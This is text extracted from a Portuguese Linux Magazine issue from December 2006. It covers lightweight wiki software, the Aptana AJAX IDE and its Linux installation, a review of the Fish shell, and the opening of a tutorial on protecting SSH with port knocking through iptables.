Se desejado, o PWP gera relatórios sobre as páginas do wiki. Aqui existe a possibilidade de se escolher entre listas hierárquicas, tabelas, um índice de su-gestões ou uma lista que, além do título, contém as primeiras frases de cada página do wiki. Com um clique em um botão, o PWP produz um calendário. Para cada mês, há uma página e uma forma de visualização. Como de costume no Mediawiki, o PWP produz um índice de títulos da primeira e segunda classifica-ções, na parte superior da página.

Enquanto uma página é editada, o PWP a protege do acesso por ou-tros autores. Caso se deseje, o PWP exporta todo o conteúdo do wiki em um diretório especial, em páginas HTML estáticas. A ajuda on-line em inglês esclarece detalhadamente a marcação, que diverge do Mediawiki, bem como a instalação e configura-ção do PWP.

MoinMoinO MoinMoin [6] (figura 2) é o único dos wikis apresentados desenvolvido em Python. Para funcionar, ele precisa de um servidor web com suporte a Python. Para

experimentá-lo localmente, há uma versão atual do MoinMoin sem necessidade de um servidor web com o nome de Desktop MoinMoin [7]. Uma outra possibilidade de instalação local consiste de operar o MoiMoin com o servidor integrado. Isso requer apenas uma instalação do Python funcionando. Para um wiki aberto, no qual trabalham vários usuários ao mes-mo tempo, é aconselhável utilizar um servidor web. Em [8] os desenvolvedo-res do MoinMoin descrevem diferentes cenários para a aplicação do programa. O wiki salva cada texto em um diretório, que é nomeado de acordo com o nome da página do wiki.

A interface do MoinMoin pode aparecer em português, caso desejado; a alteração do idioma pode ser feita diretamente no wiki. Internamente, o wiki utiliza o UTF-8 para armazenar seus textos. Com a ajuda de macros e temas, o wiki pode ser ajustado às suas necessidades. Na página do Moin-Moin encontram-se vários desses pacotes de macros prontos para utilização.

O MoinMoin integra recursos de administração de usuário, que permi-tem uma atribuição de direitos bastante precisa. Além disso, o programa arma-zena páginas durante a edição, para que não ocorram acessos concorrentes. É possível renomear textos – com isso, o administrador pode determinar se, por exemplo, páginas de ajuda ou de texto não são mais editáveis.

A marcação permite formatar de-senhos e frases, destacar em cores código-fonte em Python, links dentro do wiki e para fora dele, e, se assim se

desejar, também com textos explicativos. Lis-tas, assim como ícones, também são possíveis. O MoinMoin suporta tabelas, e é o único programa apresentado aqui a utilizar um edi-tor WYSIWYG (visual) para inserção dos textos do wiki. Além disso, o software possibilita a produção de subpági-nas. Como diferencial, o MoinMoin entende a sintaxe DocBook na in-serção de texto e, caso desejado, também ex-porta páginas do wiki para DocBook.

O wiki salva todas as versões de um tex-to como backup. As-

sim, as últimas 100 versões podem ser acessadas através do controle de ver-sões; todas as outras através da URL. Um diff entre duas versões é possível, assim como a amostra das últimas al-terações em um texto. O MoinMoin permite o acesso às últimas alterações no wiki através de um RSS. Os desen-volvedores também integraram várias funções de busca: isso permite a bus-ca por títulos de páginas ou em todo o texto, e compreende a inserção de vários termos de busca interligados, bem como o emprego de expressões lógicas. O wiki mostra índices com títulos, palavras e categorias.

As opções de textos de ajuda e tu-toriais são realmente exemplares. Para cada finalidade, existem explicações claras e detalhadas à disposição.

PmWikiO PmWiki [9] (figura 3) salva os arti-gos em simples arquivos de texto. Para funcionar, ele requer um servidor web com PHP a partir da versão 4.1. Assim como os demais wikis mostrados aqui, sua instalação também é simples: basta descompactar o arquivo com o código-fonte no servidor web e iniciar o wiki através da chamada à página de índice. Além da versão para servidor, existe ainda uma variante independente de banco de dados [10], que permite uma primeira visualização do wiki.

O PmWiki suporta a utilização de senhas para diferentes áreas: ou se protege diretamente as páginas do wiki antes do acesso, ou permite-se a edição para apenas um grupo de usuá-rios específico. A divisão dos usuários em grupos permite um controle de acesso no wiki.

O programa pode ser configurado para o idioma desejado. Para isso, copie o con-teúdo do arquivo de idioma em questão da rede [11] para dois diretórios do wiki, e ajuste o arquivo de configuração manual-mente. O PmWiki também suporta UTF-8. A aparência do wiki é controlada por CSS ou skins. Um software adicional correspon-dente abre a possibilidade de se produzir skins de maneira interativa, e configurá-las separadamente para cada usuário. Para a interação com os usuários, existem adicio-nais para livros de visitas e fóruns.

Para formatação, o PmWiki oferece, além da formatação de desenhos e frases, listas, tabelas e integração de imagens. O PmWiki permite ainda a pré-visualização da impressão de um artigo, na qual são Figura 3: O PmWiki é um wiki bem equipado, com explicação bastante detalhada.

http://supertuxbr.blogspot.com

Page 41: 26 - Web 2.0_dez_2006

41

| CAPAWikis

Linux Magazine #26 | Dezembro de 2006

mostrados também os menus, bem como linhas de cabeçalho e rodapé.

A documentação do projeto também é exemplar: ela fornece explicações e ma-nuais de instalação e operação do wiki. As explicações se chamam Cookbooks (“Livros de receitas”).

DocuwikiO Docuwiki [12] funciona como um wiki livre desde o início (figura 4). Nele, o arquivo com o código-fonte também deve ser des-compactado em um diretório do servidor web, e então é possível iniciá-lo imediatamente. Caso se queira utilizar a função Controle de Acesso para controlar o acesso, deve-se editar, após a instalação, o arquivo conf/do-cuwiki.php e também o conf/local.php, de forma correspondente, e, após, definir um administrador e sua senha.

A aparência do wiki é ajustada de acordo com a preferência do administrador, através de modelos. A configuração é feita através da edição de um arquivo de configuração – não há uma interface gráfica para isso. Como em todos os projetos apresentados, aqui a alteração da interface também fun-ciona com a ajuda do CSS, visto que essa é a técnica mais flexível.

Se você desejar manter-se informa-do sobre as alterações no wiki, então o Dokuwiki pode fornecer as infor-mações necessárias: ele envia uma lista das páginas como feeds RSS ou Atom, que você anexa sem problemas ao leitor atual.

O Dokuwiki suporta inúmeras lin-guagens para a interface, que você pode

ativar inserindo um comando específi-co na configuração. Além disso, o wiki oferece suporte completo a UTF-8 no conteúdo.

No caso da formatação, o Dokuwiki suporta tudo o que possa ser necessário, incluindo formatos de texto e parágrafos, bem como tabelas e inserção de gráficos nas páginas do wiki. Assim como o Media-wiki, o Dokuwiki oferece a possibilidade de se criar miniaturas de imagens para mostrá-las em tamanho ampliado com o clique do mouse. A função Section Editing permite a edição de pequenas partes do texto. Com ajuda da função diff, o programa mostra duas versões de uma página, e o Dokuwiki destaca as diferenças em cores.

Para buscar conteúdos, há uma função de busca no texto completo à disposição. Uma navegação estru-tural na margem superior da janela mostra o caminho que o usuário re-cebeu através do wiki. O Dokuwiki gera índices automaticamente. Além disso, o sistema protege os arquivos contra edição assim que eles atingem um determinado status.

Junto com a documentação detalhada, a página do Dokuwiki fornece uma série de tutoriais. Eles tratam de extensões da sintaxe, melhoria do layout, bem como a inserção de novas funções.

ConclusõesOs wikis enxutos mostrados facilitam enormemente a introdução ao mundo dos wikis, visto que são facilmente confi-gurados e administrados. Suas principais

áreas de utilização são a documentação de projetos pequenos e médios, a página de uma empresa que precise ser constan-temente alterada, ou um simples sistema de gerenciamento de conteúdo.

Como o PmWiki, o MoinMoin e o Dokuwiki abrem a possibilidade de, através da administração de usuários, se criar grupos de autores, que podem ser configurados com diferentes direitos, es-ses projetos podem ser utilizados também em grandes grupos de usuários.

Nos outros sistemas, no entanto, resta somente a possibilidade de proteger o di-retório no qual o wiki está instalado contra acessos indesejados através do controle de acesso no servidor web. ■

Mais Informações[1] Enciclopédia on-line Wikipédia:

http://pt.wikipedia.org

[2] Tipiwiki: http://tipiwiki.sourceforge.net

[3] Wikepage: http://www.wikipage.org/index.php?wiki=Wikepage

[4] Temas para o Wikepage: http://www.wikepage.org/index.php?wiki=Themes

[5] PWP: http://www.lars-ackermann.de/wiki/static/StartPage.html

[6] MoinMoin: http://moinmoin.wikiwikiweb.de

[7] Desktop MoinMoin: http://moinmoin.wikiwikiweb.de/DesktopEdition

[8] Ajuda para instalação do MoinMoin: http://moinmoin.wikiwikiweb.de/HelpOnInstalling/

[9] PmWiki: http://www.pmwiki.org/

[10] Versão independente do PmWiki: http://www.pmwiki.org/wiki/Cookbook/Standalone

[11] Arquivos de idioma para o PmWiki: http://www.pmwiki.org/wiki/PmWiki/Download

[12] Dokuwiki: http://www.splitbrain.org/projects/dokuwiki

[13] Mediawiki (com base na Wikipédia): http://www.mediawiki.org

[14] Wikkawiki (com suporte a banco de dados): http://wikkawiki.org

[15] ErfurtWiki: http://erfurwiki.sourceforge.net/

[16] Software wiki com base no WikiMatrix: http://www.wikimatrix.org/Figura 4: O Docuwiki é indicado especialmente para a documentação de processos técnicos.

http://supertuxbr.blogspot.com

Page 42: 26 - Web 2.0_dez_2006

42 http://www.linuxmagazine.com.br

Antes, para o desenvolvedor web, bas-tava um editor de textos. As páginas HTML eram feitas de forma rápida

e descomplicada, e continham também um pouco de Javascript ou CSS. Com a Web 2.0, a complexidade das páginas web cresce na mesma proporção que a expectativa quanto às ferramentas de de-senvolvimento. Mas os desenvolvedores ainda não foram tão longe: “No início de nosso projeto, no final de 2005, pergun-tamos a muitos desenvolvedores e desco-brimos que a maioria deles ainda utiliza Emacs, Notepad e Vi. Isso significa que ninguém tem uma IDE completa para a Web 2.0. Pois então, façamos algo para mudar isso”, disse Paul Colton.

Colton é o fundador e a força mo-triz por trás do Aptana [1], que muitos comparam ao Dreamweaver, da Ma-cromedia – certamente de maneira

um pouco precipitada. A IDE, que se baseia no Eclipse, é dedicada ao desenvolvimento de elementos AJAX e AFLAX, e é liberada sob a Licença Pública 1.0 do Eclipse. Ela utiliza uma série de funções desse ambiente de de-senvolvimento modular, e funciona em múltiplas plataformas.

O Aptana, na atual versão 0.2.4, traz consigo ferramentas bastante sofisticadas – o impressionante Assistente de Código suporta frameworks como Dojo, Mochi-kit e Prototype, enquanto a ferramenta integrada Scriptdoc facilita a documen-tação do código. Por enquanto, a IDE fala apenas inglês; o que, entretanto, deve mudar. Além disso, segundo o Ro-admap [3], a equipe trabalha no suporte a PHP e ASP.

InstalaçãoExistem duas versões do Aptana: Current e Next [4]. A última possui os recursos mais atuais, e por isso ainda pode ser instável.

Usuários do Ubuntu devem primei-ro instalar através do Apt o conjunto de pacotes web Mozilla, a partir de um re-positório externo. Para isso, abra como root o arquivo /etc//apt/sources.list e procure a linha #deb http://br.archive.ubuntu.com/ubuntu/dapper universe. Des-comente essa linha, bem como a linha logo abaixo. No final de ambas, insira depois de universe – separado por um espaço – o termo multiverse, e salve o arquivo modificado.

Depois, é necessário realizar uma atualização dos pacotes do repositório com um sudo apt-get update, para depois instalar o Mozilla com sudo apt-get ins-tall mozilla. O Java 1.4.2 necessário já vem com o Ubuntu. Finalmente, defina mais uma variável de ambiente com o caminho para as bibliotecas Mozilla:

export MOZILLA_FIVE_HOME=/usr/lib/mozilla

Na falta desse caminho, o Aptana não é iniciado. Para inseri-lo permanen-temente, substitua as linhas no arquivo ~/.bashrc.

No Suse, a instalação é um pouco mais conturbada: como plugin para o Eclipse (veja o quadro 1), o software não quis ro-dar no teste; entretanto, como variante independente, sim. O Aptana, no Suse 10.0, também precisa de um ambiente Java – que deve ser obtido a partir de uma fonte de pacotes externa.

Para inserir a nova fonte de pacotes, chame o YaST e selecione em Fonte de instalação | Editar | Substituir a opção FTP. Na linha Nome do Servidor, insira ftp.gwdg.de e, na linha abaixo, o caminho pub/opensuse/distribution/SL-OSS-factory/inst-source. O Suse lê facilmente a lista de pacotes da nova fonte. Por fim, instale da maneira habitual os pacotes java-1_4_2-gcj-compat, libgcj e mozilla. No Suse, não se esqueça também de exportar o caminho – para ambas as versões do Suse o comando é:

export MOZILLA_FIVE_HOME=/opt/mozilla/lib

Um ambiente de desenvolvimento livre para AJAX

AptanaUsuários do Eclipse podem ficar felizes: com o Aptana, existe uma confortável Gui externa para o desenvolvimento da Web 2.0, que é baseada em Eclipse e usa as populares bibliotecas Javascript.por Kristian Kissling

Figura 1: Os elementos visuais (views) dividem o espaço democraticamente entre si. Através de abas, as janelas dinâmicas são movidas para outra posição.

Barbara Bar - www.sxc.hu

CA

PA

http://supertuxbr.blogspot.com

Page 43: 26 - Web 2.0_dez_2006

43

| CAPAIDE AJAX

Linux Magazine #26 | Dezembro de 2006

Para iniciar o Aptana, execute o co-mando aptana. O software pergunta em seguida onde você quer depositar o di-retório Workspace, no qual você armazena projetos e arquivos. Em seguida, abre-se uma página inicial, que reproduz infor-mações atuais do site do programa. Caso a inicialização seja interrompida por uma mensagem de erro, insira o cami-nho do Mozilla novamente e verifique sua instalação do Java com o comando java -version.

Visão públicaA interface gráfica do Aptana – assim como a do Eclipse – é formada pelos chamados elementos visuais (Views), pequenas janelas dinâmicas que dividem entre si o espaço disponível de maneira funcional (figura 1). Cada visualização contém um agregador com barras de

nomes. Um duplo clique em um nome expande a visualização em modo de tela cheia. Ao se pressio-nar o botão esquerdo do mouse, a visualização é arrastada para outro lo-cal. Uma seta com um número indica quando há várias janelas ocultas sobrepostas. As visualiza-ções se conectam umas às outras: quando uma é maximizada, a outra é minimizada automa-ticamente.

À direita encontra-se a visualização da estrutura, que mostra hierarquica-

mente os elementos de código de uma página. Abaixo temos a visualização de ações, que administra trechos de código (snippets) e modelos para CSS, HTML, Javascript e XML. O campo central ser-ve como uma área de trabalho. Lá você escreve, altera e verifica o código-fonte. Um clique em Preview, na aba inferior esquerda, mostra uma pré-visualização. Sua página aparece em uma janela de navegador.

A visualização de problemas abaixo da janela principal mostra erros no script ou tags inválidas – um console de scripting esconde a visualização atrás dele. O geren-ciador de arquivos integrado encontra-se no campo abaixo, à esquerda. Com ele, é possível pesquisar em diferentes pastas por scripts e bibliotecas, e inserir novos arquivos Javascript e CSS. Para manter o controle de todo o projeto, selecione a visualização de projetos logo a seguir.

Na janela acima você pode administrar, através de Code Assist Profiles, as biblio-tecas de um projeto – sejam elas escritas por você mesmo ou externas, do Dojo ou Prototype. No lado direito aparece ainda uma visualização chamada Walkthrou-ghs. Ela baixa dinamicamente diversos tutoriais de AJAX e AFLAX da Internet, que são visualizados com um clique do mouse.

Além disso, o Aptana traz um extenso navegador de ajuda, que pode ser acessado através de Help | Help Contents (figura

2). Ele contém não apenas explicações passo-a-passo, como também as referên-cias para CSS, Javascript, HTML, DOM Níveis 0 e 2 e o índice do Mochikit. Por-tanto, trata-se também de documentação especialmente útil para iniciantes.

VisualizaçãoCaso uma visualização desapareça da tela contra sua vontade, existe a possibi-lidade de chamá-la de volta através de Windows | Show View | Other. Algumas visualizações não são mostradas pelo Aptana, pois ocupam muito espaço, e o Aptana as gerencia separadamente no processo de desenvolvimento – através das chamadas Perspectivas. As perspec-tivas estão reunidas em Window | Open Perspective | Other.

Ao selecionar uma delas, a IDE modi-fica sua aparência. Ela não apenas arran-ja as visualizações de maneira diferente, mas também adiciona novas, como as visualizações de variáveis ou breakpoints, no modo de depuração (figura 3). A con-figuração das perspectivas, do tamanho das janelas e de seu posicionamento fica a critério do usuário. Ao encontrar a divisão de espaço perfeita, salve-a em Window | Save Perspective As. ➧Quadro 1: Aptana como plugin para o Eclipse

Se você utilizar o Aptana no Ubuntu como um plugin para o Eclipse, terá à disposição fun-ções adicionais do Eclipse, com as quais é possível desenvolver também em outras lingua-gens como Java ou C. Oficialmente, o Aptana suporta o Eclipse 3.1, mas o software coopera – embora de maneira levemente limitada – também com o Eclipse 3.2. No Ubuntu a IDE é instalada das fontes do Multiverse com um sudo apt-get install eclipse eclipse-jdt. Você não vai precisar do Aptana: o Eclipse será automaticamente baixado da Internet.

Para iniciar o software, basta digitar eclipse na linha de comando. Primeiro o Eclipse pede um diretório para o Workspace. Feche a tela de boas-vindas para utilizar o menu. Selecione Open Perspective | Other | Debug e então Help | Software Updates | Find and Install. Apare-ce uma janela de diálogo, na qual você, através de Search for new features to install, bus-ca por novas funções. Clicando no botão New Remote Site, aparece um campo de inserção, onde deve ser inserido o nome Aptana e, como URL, http://update.aptana.com/update/.

Finalize o processo com um clique em Finish, selecionando no menu seguin-te a entrada Aptana Development Tools, e então Next. Aceite a confirmação de licen-ça e finalize o procedimento com Next e Finish – clicando em Install All, o Eclipse fi-nalmente instala o Aptana. Para chamá-lo, selecione depois da reinicialização o menu Window | Open Perspective | Other e finalmente Aptana. Embora no teste o Aptana te-nha apresentado duas mensagens de erro, a IDE trabalhou de maneira eficiente.

Figura 2: O navegador de ajuda é reconhecidamente muito útil, não apenas por descrever o ambiente do Aptana, mas também porque contém referências para CSS e Javascript.

Figura 3: Com as perspectivas, é alterada a organização de cada janela e também são abertas novas visualizações com outras funções.

http://supertuxbr.blogspot.com

Page 44: 26 - Web 2.0_dez_2006

44 http://www.linuxmagazine.com.br

CAPA | IDE AJAX

Belas coisasComo essa interface flexível pode auxiliar um programador? Com muitas funções como um assistente de código, visão em estrutura, realce de sintaxe, organização de código e através da integração das fa-mosas bibliotecas Javascript. Como em outras IDEs, seus arquivos são agrupados em um projeto, que o Aptana deposita na pasta Workspace. Esses projetos po-dem ser exportados e importados como você quiser.

Especificamente no trabalho com páginas web muito extensas, os proje-tos facilitam a visualização. Um clique em File | New | Project abre um novo projeto. Você pode escolher entre um projeto simples (Simple Project) e um projeto de biblioteca AJAX, que pode ser encontrado na entrada Web Library Project. Dê um nome a ele e verifique quais bibliotecas serão necessárias para o projeto AJAX.

Como ponto de partida, o Aptana produz um arquivo de exemplo após a inicialização. Selecionando o Dojo como biblioteca Javascript, o arquivo terá o nome de dojo_sample.htm. Ele aparece na visualização do projeto e no código-fonte, na interface central. Acima, à esquerda em Code Assist Profiles aparecem os ar-quivos Javascript correspondentes dojo.js e html.js: um duplo clique os abre para edição.

Escreva agora um programa próprio: o assistente de código irá ajudá-lo. Ao apagar um parêntese de algum trecho de um arquivo HTML, e em seguida digitá-lo novamente, aparece uma caixa que mostra quais características CSS são toleradas pelo seletor CSS e quais das ca-racterísticas os navegadores conhecidos entendem (figura 4).

Cada navegador interpreta as espe-cificações CSS de maneira um pouco diferente; por isso, informação sempre contribui. Com as teclas de setas, é pos-sível navegar entre as caixas. Marcan-

do um elemento, aparece ao lado um pequeno quadro que explica o que o elemento afeta. Com [Enter], a escolha é confirmada, e o Aptana insere o ele-mento próximo ao cursor. O assistente de código completa dessa forma alguns seletores, classes e funções – desde que ele tenha informações sobre isso. Com as funções escritas por ele próprio, a princípio ele não consegue iniciar nada. Então, alimente-o através do scriptdoc. O software prepara os dados dos documen-tos Javascript no workspace para os assis-tentes de código. Para isso, é necessário simplesmente documentar seus códigos em um esquema compacto.

Mais perspectivasA visualização em modo de estrutura me-lhora a perspectiva em longos trechos de código. Normalmente as tags e funções são organizadas em código-fonte. A visão em estrutura reconhece esses elementos e suas inter-relações e então os constrói. Clicando em um determinado elemento, o cursor pula para o código-fonte. Além disso, pequenos símbolos próximos às tags informam se tratam-se de funções, variáveis ou seletores. Um clique em uma tag mostra que variáveis e funções estão escondidas ali. A visão em estrutura serve apenas para navegação, e não para alteração das entradas.

Outra função do Aptana que facilita a escrita de código é o realce de sintaxe. A IDE destaca em cores os diferentes elementos do programa, de acordo com sua categoria, como valor, comentário ou simples texto. Isso facilita a compreensão do código. As cores podem ser alteradas de forma simples através de Window | Preferences | Aptana | Editors.

Para que você tenha sempre à mão as partes do código mais freqüentemen-te necessárias, existem os snippets. Eles são encontrados na visualização de ações. Selecione um pedaço do código e clique no snippet de sua escolha. Em torno da seleção aparece uma tag específica. O software já vem com alguns modelos HTML; a função serve, na verdade, para que sejam inseridos snippets próprios.

No Aptana também é possível com-parar dois documentos entre si, ou o atual com uma versão anterior. Para isso, clique com o botão direito do mouse no código-fonte e então utilize a opção Compare with | Each Other. No mesmo local encontra-se a opção Team | Apply Patch, na qual pode-se aplicar um patch. Como sugere a palavra Team, o software

permite que um projeto seja gravado em um dispositivo de rede, permitindo que outros tenham acesso a ele.

ConfiguraçãoO menu Window | Preferences cria uma aba que permite realizar ajustes finos. Em Appearance são ajustadas as cores e aparências do Aptana. No campo Editors, uma seção importante é Keys: lá são in-seridos atalhos de teclas ao Aptana, para permitir o acesso mais rápido a funções importantes.

Em outro local são aplicados os forma-tos de arquivo dos editores: caso falte um editor para arquivos XUL, eles então são editados pelo editor XML. Em Startup and Shutdown são definidos quais plugins a IDE deve baixar automaticamente.

ResultadoO desenvolvimento do Aptana está apenas no início, mas a ferramenta livre começa a ganhar corpo. Deve-se admitir: gran-de parte das funções são contribuições dos desenvolvedores do Eclipse, mas a integração de bibliotecas, assistente de códigos e outras características fazem do Aptana uma ferramenta muito útil, especialmente para pessoas que não po-dem ou não pretendem se acostumar ao trabalho com o editor de textos.

O Aptana é indicado tanto para inician-tes quanto usuários avançados interessa-dos no AJAX. Em projetos extremamente grandes notam-se, no entanto, algumas fortes quedas de performance. Ele ainda não dispõe de tantas funções quanto o Quanta Plus; internacionalização espe-cial, suporte a FTP e a Unicode ainda fazem parte da lista de futuros recursos do Projeto. Contudo, o Aptana marca muitos pontos na usabilidade e domina inúmeras funções Javascript. ■

Mais Informações[1] Página do projeto Aptana:

http://www.aptana.com

[2] Demos Aflax: http://www.aflax.org/demos.htm

[3] Roadmap do Aptana: http://www.aptana.com/docs/index.php/Aptana_Roadmap

[4] Página de download do IDE: http://www.aptana.com/download_linux.php#next

Figura 4: O assistente de código mostra quais características um seletor pode assumir.

http://supertuxbr.blogspot.com

Page 45: 26 - Web 2.0_dez_2006

http://supertuxbr.blogspot.com

Page 46: 26 - Web 2.0_dez_2006

46

AN

ÁLI

SE

http://www.linuxmagazine.com.br

A maioria dos novatos no Linux, assim como alguns veteranos, preferem manter certa distân-

cia da linha de comando. Consultar os manuais das principais alternativas em interpretadores de linha de co-mando costuma confundir mais do que ajudar. A página de manual que vem com o Bash tem aproximadamen-te 4000 linhas, e a do Zsh se estende por 17.000.

O motivo para essa complexidade é que esses interpretadores de linha de comando não foram feitos com vistas ao usuário iniciante; em vez disso, foram criados visando à eficiência e a facilitar a automação por parte dos usuários ex-perientes.

Axel Liljencrantz lançou a Fish shell em fevereiro de 2005 como uma alterna-tiva mais amigável de shell. Fish significa “Friendly Interactive Shell”. A Fish shell possui diversos recursos que facilitam a vida dos usuários e melhoram a aparên-cia da linha de comando. Por exemplo, a Fish suporta os recursos de auto-com-pletar com a tecla [Tab], realce de sin-taxe e um sistema de ajuda facilmente navegável.

A Fish consegue até mesmo auto-completar as opções de utilitários co-muns como make, ls, du, ou programas como o MPlayer. (Usuários do Zsh já terão familiaridade com o recurso de auto-completar da Fish.)

É possível baixar a shell a partir da página de seu projeto, em [1]. A seção de download possui uma coleção de pacotes para várias distribuições, desde Debian, passando por Gentoo e Suse, até o Fedora Core. Se você preferir compilar a Fish shell a partir dos fontes, pode simplesmente baixar as tarballs do mesmo site.

Primeiros socorrosApós terminar a instalação, inicie a Fish em sua shell padrão com o comando fish. Uma mensagem “Welcome to fish” será mostrada, informando a opção externa de ajuda: “Type help for instructions on how to use fish”.

A opção help inicia seu navegador web padrão com as páginas de ajuda, que se localizam em um diretório como /usr/share/doc/fish/ (dependendo da sua distribuição). A Fish tentará avaliar a vari-ável de ambiente $BROWSER para identificar seu navegador, ou, caso essa variável não esteja definida, simplesmente procura um programa apropriado.

A Fish shell é capaz de executar a ajuda automaticamente no Firefox em um ambiente X window. Enquanto isso, em ambientes de linha de comando, a Fish usará um navegador baseado em texto. Podemos passar diversos parâme-tros para o comando help: help help lista a ajuda para o próprio comando help, por exemplo.

Mais ajudaO software possui um teste de sanidade interno que captura erros de entrada. Por exemplo, se digitarmos cachorro = gato na linha de comando para definir uma variável, a Fish shell responderá automa-ticamente com uma explicação extensa, uma sugestão, e ainda oferecerá uma passagem pela página de ajuda.

Obviamente, você pode perguntar qual o sentido de se exportar o texto de ajuda para HTML, em vez de mantê-lo nas páginas de manual e de info. Para os usuários de computadores menos poten-tes, que talvez não apreciem janelas de navegador abrindo sempre que tiverem uma pergunta, a Fish também oferece uma alternativa de página de manual, embora essas páginas incluídas na Fish sejam bastante sucintas quando compa-radas à ajuda em HTML.

Realce de sintaxeO realce de sintaxe da Fish realmen-te captura a atenção desde o primeiro comando. A shell amigável e interativa colore de vermelho tudo que é escrito, até que ela encontre um comando não ambíguo. Caso você pressione [Tab] en-quanto o termo estiver vermelho, a Fish mostrará todos os padrões que casam com os caracteres já digitados, e dirá se esses padrões são links, programas ou diretórios.

A Fish shell simplifica o console

Mais fácil que pescariaA Fish shell facilita imensamente o uso do console, com diversas facilidades que nenhuma outra shell jamais usou. Essa é uma grande ajuda para quem ainda tem medo da linha de comando.por Andreas Kneib

http://supertuxbr.blogspot.com

Page 47: 26 - Web 2.0_dez_2006

47

| ANÁLISEFish shell

Linux Magazine #26 | Dezembro de 2006

Em alguns casos, a Fish até informa algo sobre o que a ferramenta faz (figura

1). Se a saída de um comando for maior do que a área coberta pela janela do terminal, a Fish abrirá um localizador, onde é possível subir e descer através das setas do teclado.

A linha de comando segue uma abor-dagem semelhante com as opções de al-guns comandos. Novamente, os comandos da shell são mostrados em vermelho, até que se tornem não ambíguos, e o uso do [Tab] para auto-completar também está disponível. Os scripts sob /usr/share/fish/ cuidam disso.

Se digitarmos help completion, o guia informará como estender esse recurso. A capacidade da Fish para apontar di-ferentes tipos de parênteses, colchetes e similares na linha de comando é outra

boa idéia que ajuda o usuário a gerenciar comandos mais longos.

Início automáticoO comando open promete ser de grande ajuda na execução dos programas. Pode-se usá-lo para evitar a digitação do nome de um programa. Por exemplo open teste.pdf carrega o arquivo teste.pdf em um leitor de PDFs, suportando também curingas como o asterisco. O seguinte comando abre os documentos HTML do diretório atual em um navegador web:

aknei@comone ~> open *.html

As configurações em seu banco de dados de Mimetypes especificam qual programa abrirá arquivos HTML. A Fish escolhe o

aplicativo de acordo com esse banco de da-dos, e mapeia os arquivos para os programas conforme especificado nos arquivos .desktop que também são usados pelo KDE e pelo Gnome. Apesar de essa técnica conseguir associar arquivos a programas, shells como a Zsh possuem uma solução mais elegante para o problema das associações de arqui-vos. O comando alias -s html=firefox nos permite associar páginas web ao Firefox sem envolver o KDE, Gnome ou o banco de dados de Mimetypes.

ConclusõesPara um programa em estágio tão inicial de desenvolvimento, a Fish shell possui alguns mecanismos muito úteis, como o realce de sintaxe e o auto-completar. A função de ajuda incluída com a shell é bem feita. Os usuários avançados talvez não gostem da orientação do programa ao desktop, mas essa shell certamente ajuda a eliminar as freqüentes inibições das quais sofrem os usuários iniciantes de Linux. ■

Figura 1 A Fish oferece um resumo dos comandos que casam com o texto já digitado.

Mais Informações[1] Página da Fish:

http://roo.no-ip.org/fish/

Fone: (61) 3366-1333Skype: thinnetworks

[email protected]

Transforme umPC antigo em

umThin ClientCom o você transforma um PC antigo em um thin cliente isso custa menos do que você imagina.

O TC-FLASH é um módulo de memória Flash que contém osoftware dos thin clients TC-NET da ThinNetworks, que, quandosubstitui o HD, é capaz de reconhecer todos os dispositivos de umPC comum e transformá-lo em um verdadeiro thin client. O

é compatível com serviço de terminal baseado emWindowse Linux.

Aproveitando estes equipamentos já disponíveis, pode-se reduzir oscustos a pelo menos 1/3 do valor de um thin client completo. Asolução mais econômica para aqueles que cogitam a instalação dethin clients e dispõem de equipamentos fora de sua vida útil.

TC-FLASH

TC-FLASH

-

http://supertuxbr.blogspot.com

Page 48: 26 - Web 2.0_dez_2006

Robert Aichinger - www.sxc.hu

48

TUTO

RIA

L

http://www.linuxmagazine.com.br

A técnica de Port Knocking, ou, em português, “Batida na Porta”, é caracterizada como “segurança

baseada na obscuridade” (Security throu-gh Obscurity), que consiste na ocultação de um dado serviço de forma a levar a crer que o mesmo não existe, até que a pessoa autorizada necessite dele.

Diferentemente de um super-servidor, como o xinetd ou o inetd, o port knocking oferece outra modalidade de segurança. Enquanto o super-servidor roda um daemon inteligente, que aguarda solicitações de conexões na porta de um serviço pré-confi-gurado e só o executa mediante solicitação, o port knocking mantém o serviço rodan-

do. Entretanto, fica bloqueado por uma regra de firewall que só libera uma conexão após uma seqüência de batidas em um conjunto

pré-estabelecido de portas, que não pre-cisam estar abertas ou oferecendo qualquer serviço. A tabela 1 mostra um exemplo de configuração bastante simples relacionada ao serviço SSH.

Chamei de “Knock” o ato de bater na porta, que nada mais é que enviar um pacote direcionado a ela.

Agora digamos que o firewall de nosso servidor esteja configurado para bloquear conexões remotas à porta 2200, mas queira-mos liberar o acesso SSH nessa porta para, por exemplo, executarmos manutenção remotamente ou exibirmos algum projeto em desenvolvimento em determinado mo-mento. Ampliar o acesso à Internet inteira certamente é uma solução; no entanto, isso é pouco viável e desnecessariamen-te vulnerável, já que conhecemos o Port Knocking. Usando essa técnica, vamos bloquear permanentemente a porta 2200 até que o firewall capture um pacote na porta 60000. Assim que for detectado tal pacote, o IP que o originou será registrado pelo firewall. Depois disso, o firewall pas-

sará a permitir que pacotes vindos desse IP acessem a porta 2200.

O ganho de segurança nesse ponto vem justamente do fato de que somente o IP registrado terá assegurado o aces-so à porta especificada. Depois que o usuário terminar seu acesso remoto ao servidor, terá como responsabilidade o fechamento da porta 2200. Para isso, o usuário enviará um pacote à porta 1500 do servidor, alertando o firewall do ser-vidor para que feche a porta na qual o SSH estava escutando.

Nesse exemplo simples, o acesso ao serviço SSH foi liberado apenas para um único IP.

Iptables e kernelA tarefa de capturar os pacotes e registrar o IP de seus remetentes não é trabalhosa. O daemon knockd [1] facilita ainda mais esse processo; porém, vamos nos concen-trar na implementação do port knocking usando somente o iptables e seu módulo ipt_recent, o qual deve ter sido compila-

O Port Knocking ajuda a proteger seu servidor

Quem bate?Algumas portas de rede em seus servidores devem ficar constantemente fechadas para evitar que bisbilhoteiros tentem abri-las. Com uma batida secreta, a entrada se revela.por Flávio do Carmo Júnior

Tabela 1: exemplo de portas para SSH

Serviço Porta

SSH 2200

Knock Open 60000

Knock Close 1500

http://supertuxbr.blogspot.com

Page 49: 26 - Web 2.0_dez_2006

49

| TUTORIALPort Knocking

Linux Magazine #26 | Dezembro de 2006

do com o kernel da sua distribuição. Para verificar isso, digite:

# modprobe -l | grep recent/lib/modules/2.6.15fw/kernel/net/ipv4/➥netfilter/ipt_recent.ko

Se o comando retornar algo, como ocorreu no exemplo acima, isso sig-nifica que o módulo está compilado. Caso contrário, provavelmente será necessário compilar seu kernel para incluir esse módulo. Todavia, esse procedimento não será coberto neste artigo, dada sua extensão e inúmeras variações dependentes do hardware usado na máquina, além da própria versão do kernel.

